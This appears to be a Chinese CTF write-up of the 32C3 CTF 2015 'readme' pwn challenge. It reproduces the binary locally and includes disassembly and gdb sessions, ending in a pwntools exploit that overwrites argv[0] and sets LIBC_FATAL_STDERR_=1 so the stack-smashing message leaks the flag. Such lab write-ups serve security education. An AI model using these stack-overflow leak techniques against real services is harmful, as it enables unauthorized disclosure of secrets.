6.1.14 pwn 32C3CTF2015 readme

下载文件

题目复现

  1. $ file readme.bin
  2. readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
  3. $ checksec -f readme.bin
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 readme.bin

开启了 Canary。

flag 就藏在二进制文件中的 .data 段上:

  1. $ rabin2 -z readme.bin | grep 32C3
  2. 000 0x00000d20 0x00600d20 31 32 (.data) ascii 32C3_TheServerHasTheFlagHere...

程序接收两次输入,并打印出第一次输入的字符串(看起来并没有格式化字符串漏洞):

  1. $ ./readme.bin
  2. Hello!
  3. What's your name? %p.%p.%p.%p
  4. Nice to meet you, %p.%p.%p.%p.
  5. Please overwrite the flag: %d.%d.%d.%d
  6. Thank you, bye!
  7. $ python -c 'print "A"*300 + "\n" + "B"' > crash_input
  8. $ ./readme.bin < crash_input
  9. Hello!
  10. What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
  11. Please overwrite the flag: Thank you, bye!
  12. *** stack smashing detected ***: ./readme.bin terminated
  13. Aborted (core dumped)
  14. $ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin
  15. Hello!
  16. What's your name? Nice to meet you, A.
  17. Please overwrite the flag: Thank you, bye!

第一次输入的字符串过多会导致栈冲突的问题,第二次的输入似乎就没有什么影响。

感觉和 6.1.13 那题一样,都是需要利用 __stack_chk_fail() 打印 flag(参考章节 4.12)。但这一题是动态链接程序,因为 libc-2.25 版本的更新,使 __stack_chk_fail() 不能用了。所以为了复现,我们选择Ubuntu 16.04,版本是 libc-2.23。

题目解析

来看一下程序的逻辑:

  1. [0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
  2. / (fcn) sub.Hello___What_s_your_name_7e0 206
  3. | sub.Hello___What_s_your_name_7e0 ();
  4. | ; var int local_108h @ rsp+0x108
  5. | ; CALL XREF from 0x004006e2 (main)
  6. | 0x004007e0 55 push rbp
  7. | 0x004007e1 be34094000 mov esi, str.Hello___What_s_your_name ; 0x400934 ; "Hello!\nWhat's your name? "
  8. | 0x004007e6 bf01000000 mov edi, 1
  9. | 0x004007eb 53 push rbx ; 先保存下 rbx 的值,然后 rbx 被用作计数器
  10. | 0x004007ec 4881ec180100. sub rsp, 0x118 ; rsp = rsp - 0x118
  11. | 0x004007f3 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  12. | 0x004007fc 488984240801. mov qword [local_108h], rax ; Canary = [rsp + 0x108]
  13. | 0x00400804 31c0 xor eax, eax
  14. | 0x00400806 e8a5feffff call sym.imp.__printf_chk
  15. | 0x0040080b 4889e7 mov rdi, rsp ; rdi = rsp,所以缓冲区大小 0x108
  16. | 0x0040080e e8adfeffff call sym.imp._IO_gets ; 第一次输入,读取字符串
  17. | 0x00400813 4885c0 test rax, rax
  18. | ,=< 0x00400816 0f8483000000 je 0x40089f
  19. | | 0x0040081c 4889e2 mov rdx, rsp
  20. | | 0x0040081f be60094000 mov esi, str.Nice_to_meet_you___s.__Please_overwrite_the_flag: ; 0x400960 ; "Nice to meet you, %s.\nPlease overwrite the flag: "
  21. | | 0x00400824 bf01000000 mov edi, 1
  22. | | 0x00400829 31c0 xor eax, eax
  23. | | 0x0040082b 31db xor ebx, ebx
  24. | | 0x0040082d e87efeffff call sym.imp.__printf_chk
  25. | | 0x00400832 660f1f440000 nop word [rax + rax]
  26. | | ; JMP XREF from 0x0040085c (sub.Hello___What_s_your_name_7e0)
  27. | .--> 0x00400838 488b3d090520. mov rdi, qword [obj.stdin] ; [0x600d48:8]=0 ; 临时存储区
  28. | :| 0x0040083f e85cfeffff call sym.imp._IO_getc ; 第二次输入,每次读取一个字符
  29. | :| 0x00400844 83f8ff cmp eax, 0xffffffffffffffff
  30. | ,===< 0x00400847 7456 je 0x40089f
  31. | |:| 0x00400849 83f80a cmp eax, 0xa ; 10 ; 是否为换行符
  32. | ,====< 0x0040084c 7412 je 0x400860
  33. | ||:| 0x0040084e 8883200d6000 mov byte [rbx + str.32C3_TheServerHasTheFlagHere...], al ; 将字符写入到原 flag+rbx 的地方
  34. | ||:| 0x00400854 4883c301 add rbx, 1 ; 计数 + 1
  35. | ||:| 0x00400858 4883fb20 cmp rbx, 0x20 ; 32 ; 最多读入 0x20 个字符
  36. | ||`==< 0x0040085c 75da jne 0x400838 ; 继续循环
  37. | ||,==< 0x0040085e eb18 jmp 0x400878 ; 结束循环
  38. | |||| ; JMP XREF from 0x0040084c (sub.Hello___What_s_your_name_7e0)
  39. | `----> 0x00400860 ba20000000 mov edx, 0x20 ; 32
  40. | ||| 0x00400865 4863fb movsxd rdi, ebx
  41. | ||| 0x00400868 31f6 xor esi, esi ; rsi = 0
  42. | ||| 0x0040086a 29da sub edx, ebx ; 0x20 - 计数
  43. | ||| 0x0040086c 4881c7200d60. add rdi, str.32C3_TheServerHasTheFlagHere... ; rdi = flag+rbx
  44. | ||| 0x00400873 e8f8fdffff call sym.imp.memset ; void *memset(void *s, int c ; 将剩余的 flag 覆盖为 0
  45. | ||| ; JMP XREF from 0x0040085e (sub.Hello___What_s_your_name_7e0)
  46. | |`--> 0x00400878 bf4e094000 mov edi, str.Thank_you__bye ; 0x40094e ; "Thank you, bye!
  47. | | | 0x0040087d e8befdffff call sym.imp.puts ; int puts(const char *s)
  48. | | | 0x00400882 488b84240801. mov rax, qword [local_108h] ; [0x108:8]=-1 ; 264
  49. | | | 0x0040088a 644833042528. xor rax, qword fs:[0x28]
  50. | |,==< 0x00400893 7514 jne 0x4008a9 ; 验证 Canary
  51. | ||| 0x00400895 4881c4180100. add rsp, 0x118
  52. | ||| 0x0040089c 5b pop rbx
  53. | ||| 0x0040089d 5d pop rbp
  54. | ||| 0x0040089e c3 ret
  55. | ||| ; JMP XREF from 0x00400816 (sub.Hello___What_s_your_name_7e0)
  56. | ||| ; JMP XREF from 0x00400847 (sub.Hello___What_s_your_name_7e0)
  57. | `-`-> 0x0040089f bf01000000 mov edi, 1
  58. | | 0x004008a4 e887fdffff call sym.imp._exit ; void _exit(int status)
  59. | | ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0)
  60. \ `--> 0x004008a9 e8a2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi ; 验证失败时调用
  61. [0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere...
  62. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  63. 0x00600d20 3332 4333 5f54 6865 5365 7276 6572 4861 32C3_TheServerHa
  64. 0x00600d30 7354 6865 466c 6167 4865 7265 2e2e 2e00 sTheFlagHere....

看注释已经很明显了,第一次的输入需要我们触发栈溢出,使程序调用 __stack_chk_fail(),并打印出 argv[0]。第二次的输入将覆盖掉位于 0x00600d20 的 flag。

漏洞利用

那么问题来了,如果 flag 被覆盖掉了,那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题,我们知道 x86-64 程序的映射是从 0x400000 开始的:

  1. $ ld --verbose | grep __executable_start
  2. PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

在调试时我们又发现 readme.bin 被映射到下面的两个地址中:

  1. gdb-peda$ b *0x0040080e
  2. Breakpoint 1 at 0x40080e
  3. gdb-peda$ r
  4. gdb-peda$ vmmap readme.bin
  5. Start End Perm Name
  6. 0x00400000 0x00401000 r-xp /home/firmyy/readme.bin
  7. 0x00600000 0x00601000 rw-p /home/firmyy/readme.bin

所以只要在二进制文件 0x00000000~0x00001000 范围内的内容都会被映射到内存中,分别以 0x6000000x400000 作为起始地址 。flag 在 0x00000d20,所以会在内存中出现两次,分别位于 0x00600d200x00400d20

  1. gdb-peda$ find 32C3
  2. Searching for '32C3' in: None ranges
  3. Found 2 results, display max 2 items:
  4. readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
  5. readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")

所以即使 0x00600d20 的 flag 被覆盖了,0x00400d20 的 flag 依然存在。

让我们来找出 argv[0] 距离栈的距离:

  1. gdb-peda$ find /home/firmyy/readme.bin
  2. Searching for '/home/firmyy/readme.bin' in: None ranges
  3. Found 3 results, display max 3 items:
  4. [stack] : 0x7fffffffe097 ("/home/firmyy/readme.bin")
  5. [stack] : 0x7fffffffef9f ("/home/firmyy/readme.bin")
  6. [stack] : 0x7fffffffefe0 ("/home/firmyy/readme.bin")
  7. gdb-peda$ find 0x7fffffffe097
  8. Searching for '0x7fffffffe097' in: None ranges
  9. Found 2 results, display max 2 items:
  10. libc : 0x7ffff7dd23d8 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
  11. [stack] : 0x7fffffffdc78 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
  12. gdb-peda$ x/10gx 0x7fffffffdc78
  13. 0x7fffffffdc78: 0x00007fffffffe097 0x0000000000000000
  14. 0x7fffffffdc88: 0x00007fffffffe0af 0x00007fffffffe0ba
  15. 0x7fffffffdc98: 0x00007fffffffe0cf 0x00007fffffffe0e6
  16. 0x7fffffffdca8: 0x00007fffffffe0f8 0x00007fffffffe12a
  17. 0x7fffffffdcb8: 0x00007fffffffe142 0x00007fffffffe158
  18. gdb-peda$ x/10s 0x00007fffffffe097
  19. 0x7fffffffe097: "/home/firmyy/readme.bin"
  20. 0x7fffffffe0af: "XDG_VTNR=7"
  21. 0x7fffffffe0ba: "LC_PAPER=zh_CN.UTF-8"
  22. 0x7fffffffe0cf: "LC_ADDRESS=zh_CN.UTF-8"
  23. 0x7fffffffe0e6: "XDG_SESSION_ID=c1"
  24. 0x7fffffffe0f8: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/firmyy"
  25. 0x7fffffffe12a: "LC_MONETARY=zh_CN.UTF-8"
  26. 0x7fffffffe142: "CLUTTER_IM_MODULE=xim"
  27. 0x7fffffffe158: "SESSION=ubuntu"
  28. 0x7fffffffe167: "GPG_AGENT_INFO=/home/firmyy/.gnupg/S.gpg-agent:0:1"
  29. gdb-peda$ distance $rsp 0x7fffffffdc78
  30. From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords

536=0x218 个字节。第一次尝试:

  1. from pwn import *
  2. io = remote("127.0.0.1", 10001)
  3. payload_1 = "A"*0x218 + p64(0x400d20)
  4. io.sendline(payload_1)
  5. payload_2 = "A"*4
  6. io.sendline(payload_2)
  7. print io.recvall()

在第一个终端里执行下面的命令,相当于远程服务器,并且将 stderr 重定向到 stdout:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr

然后在第二个终端里执行 exp:

  1. $ python exp.py
  2. [+] Opening connection to 127.0.0.1 on port 10001: Done
  3. [+] Receiving all data: Done (627B)
  4. [*] Closed connection to 127.0.0.1 port 10001
  5. Hello!
  6. What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
  7. Please overwrite the flag: Thank you, bye!

咦,flag 并没有在我们执行 exp 的终端里打印出来,反而是打印在了执行程序的终端里:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
  2. *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

所以我们需要做点事情,让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入,将 LIBC_FATAL_STDERR_=1 写入到环境变量中。结果如下:

  1. gdb-peda$ x/10gx $rsp+0x218
  2. 0x7fffffffdcd8: 0x0000000000400d20 0x0000000000000000
  3. 0x7fffffffdce8: 0x0000000000600d20 0x00007fffffffe100
  4. 0x7fffffffdcf8: 0x00007fffffffe123 0x00007fffffffe155
  5. 0x7fffffffdd08: 0x00007fffffffe181 0x00007fffffffe19f
  6. 0x7fffffffdd18: 0x00007fffffffe1bf 0x00007fffffffe1df
  7. gdb-peda$ x/s 0x400d20
  8. 0x400d20: "32C3_TheServerHasTheFlagHere..."
  9. gdb-peda$ x/s 0x600d20
  10. 0x600d20: "LIBC_FATAL_STDERR_=1"

函数 __GI___libc_secure_getenv 成功获取到了环境变量 LIBC_FATAL_STDERR_ 的值 1

  1. gdb-peda$ ni
  2. [----------------------------------registers-----------------------------------]
  3. RAX: 0x600d33 --> 0x31 ('1')
  4. RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n")
  5. RCX: 0xe
  6. RDX: 0x0
  7. RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_")
  8. RDI: 0x600d22 ("BC_FATAL_STDERR_=1")
  9. RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected")
  10. RSP: 0x7fffffffd9f0 --> 0x0
  11. RIP: 0x7ffff7a8455a (<__libc_message+74>: test rax,rax)
  12. R8 : 0x1010
  13. R9 : 0x24a
  14. R10: 0x1c7
  15. R11: 0x0
  16. R12: 0x7ffff7b9ac35 ("<unknown>")
  17. R13: 0x7fffffffdcd0 ("AAAAAAAA \r@")
  18. R14: 0x0
  19. R15: 0x1
  20. EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
  21. [-------------------------------------code-------------------------------------]
  22. 0x7ffff7a8454a <__libc_message+58>: mov DWORD PTR [rbp-0x78],0x10
  23. 0x7ffff7a84551 <__libc_message+65>: mov QWORD PTR [rbp-0x68],rax
  24. 0x7ffff7a84555 <__libc_message+69>: call 0x7ffff7a46ef0 <__GI___libc_secure_getenv>
  25. => 0x7ffff7a8455a <__libc_message+74>: test rax,rax
  26. 0x7ffff7a8455d <__libc_message+77>: je 0x7ffff7a84568 <__libc_message+88>
  27. 0x7ffff7a8455f <__libc_message+79>: cmp BYTE PTR [rax],0x0
  28. 0x7ffff7a84562 <__libc_message+82>: jne 0x7ffff7a846f7 <__libc_message+487>
  29. 0x7ffff7a84568 <__libc_message+88>: mov esi,0x902
  30. [------------------------------------stack-------------------------------------]
  31. 0000| 0x7fffffffd9f0 --> 0x0
  32. 0008| 0x7fffffffd9f8 --> 0x0
  33. 0016| 0x7fffffffda00 --> 0x0
  34. 0024| 0x7fffffffda08 --> 0x10
  35. 0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14
  36. 0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
  37. 0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
  38. 0056| 0x7fffffffda28 --> 0x1
  39. [------------------------------------------------------------------------------]
  40. Legend: code, data, rodata, value
  41. __libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
  42. at ../sysdeps/posix/libc_fatal.c:81
  43. 81 ../sysdeps/posix/libc_fatal.c: No such file or directory.

Bingo!!!

  1. $ python exp.py
  2. [+] Opening connection to 127.0.0.1 on port 10001: Done
  3. [+] Receiving all data: Done (703B)
  4. [*] Closed connection to 127.0.0.1 port 10001
  5. Hello!
  6. What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
  7. Please overwrite the flag: Thank you, bye!
  8. *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

exploit

最终的 exp 如下:

  1. from pwn import *
  2. io = remote("127.0.0.1", 10001)
  3. #io = process('./readme.bin')
  4. #context.log_level = 'debug'
  5. payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
  6. io.sendline(payload_1)
  7. payload_2 = "LIBC_FATAL_STDERR_=1"
  8. io.sendline(payload_2)
  9. print io.recvall()

参考资料